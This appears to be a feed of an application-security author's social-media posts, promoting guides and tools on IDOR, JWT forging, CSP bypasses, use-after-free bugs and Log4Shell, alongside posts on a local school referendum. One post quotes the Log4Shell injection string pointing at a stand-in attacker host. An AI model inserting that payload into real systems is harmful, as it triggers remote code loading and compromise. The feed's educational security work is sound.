Noblesville taxpayers kept their end of the deal - readthereporter.com/noblesvi…

If the user ID is in a JWT instead of the URL, forging the token is your IDOR. I built a playground to try it in your browser: chs.us/tools/jwt/

Most IDOR fixes I see just swap integer IDs for UUIDs, and that isn't authorization. Section 11 of the guide covers how UUIDs leak anyway. chs.us/guides/idor/

The IDOR guide on chs.us is getting more traffic than anything else I've written, so I added a "where to go next" section. If you liked it, the authz and GraphQL guides are where the same bug keeps showing up. chs.us/guides/idor/

Check out the latest article in my newsletter: The protocol that won't tell you who it's for... linkedin.com/pulse/protocol-… via @LinkedIn

Work out what the Noblesville Schools referendum actually costs your household — put in your own assessed value: stopthenoblesvillereferendum…. #noblesville #Indiana

Everyone's seen ${jndi:ldap://evil/a}. Fewer people have seen what actually comes back over the wire. I hand-rolled the javax.naming.Reference serialization, byte for byte — then round-tripped it through a real JVM and found 2 bugs my own test couldn't catch. chs.us/2026/07/jndi-referenc… #infosec #appsec #Log4Shell #Java

The original "Showstopper!: The breakneck race to create Windows NT and the next generation at Microsoft " from 1994 was one of those books that fundamentally changed how I think about software development. Reading about Dave Cutler's team building Windows NT from the ground up — the engineering culture, the technical decisions under pressure, the relentless focus on architecture — that influenced how I approach development and security. When I first read it, I was earlier in my security journey. While the book wasn't specifically about security, seeing how they thought about system design from the ground up, the importance of getting the foundation right, that was a lightbulb moment. This new edition reminds us that great software comes from great engineering culture and disciplined architecture decisions. In security, we talk a lot about "shifting left," but really we're talking about the same thing - getting the fundamentals right from the start. What book fundamentally changed how you approach your craft? #ApplicationSecurity #SoftwareEngineering #BookRecommendation #Engineering

I've been building the iOS companion to appsec.fyi — bringing those 3,000+ curated application security resources to your phone. It's done! Mobile-first features: • Offline access to all articles and tools • Interactive topic explorer with 75+ connections • Built-in security glossary (48 terms) • Browse by 25+ topics (XSS, SQLi, SSRF, IDOR, RCE, etc.) • Background sync for new content Grab it here - apps.apple.com/app/id6762207…

I've been building appsec.fyi — a free curated library of application security resources. 2,600+ articles, tools, and writeups across 22 topics (XSS, SQLi, SSRF, IDOR, RCE, and more). Just added search + 6 new topics. Submissions welcome. appsec.fyi

I built csp-toolkit to parse and analyze Content Security Policy headers at scale. 21 checks, 79 bypass domains, full CLI + #Python API. pip install csp-toolkit Read more at - chs.us/2026/03/csp-toolkit/ #infosec #bugbounty #appsec #opensourcesecurity #csp

New post: Use-After-Free vulnerabilities — what they are, how they're exploited, and how to find them with ASan, libFuzzer, and CodeQL. Includes real CVEs from Chrome and the Linux kernel. chs.us/2026/03/use-after-fre… #appsec #security #memorysafety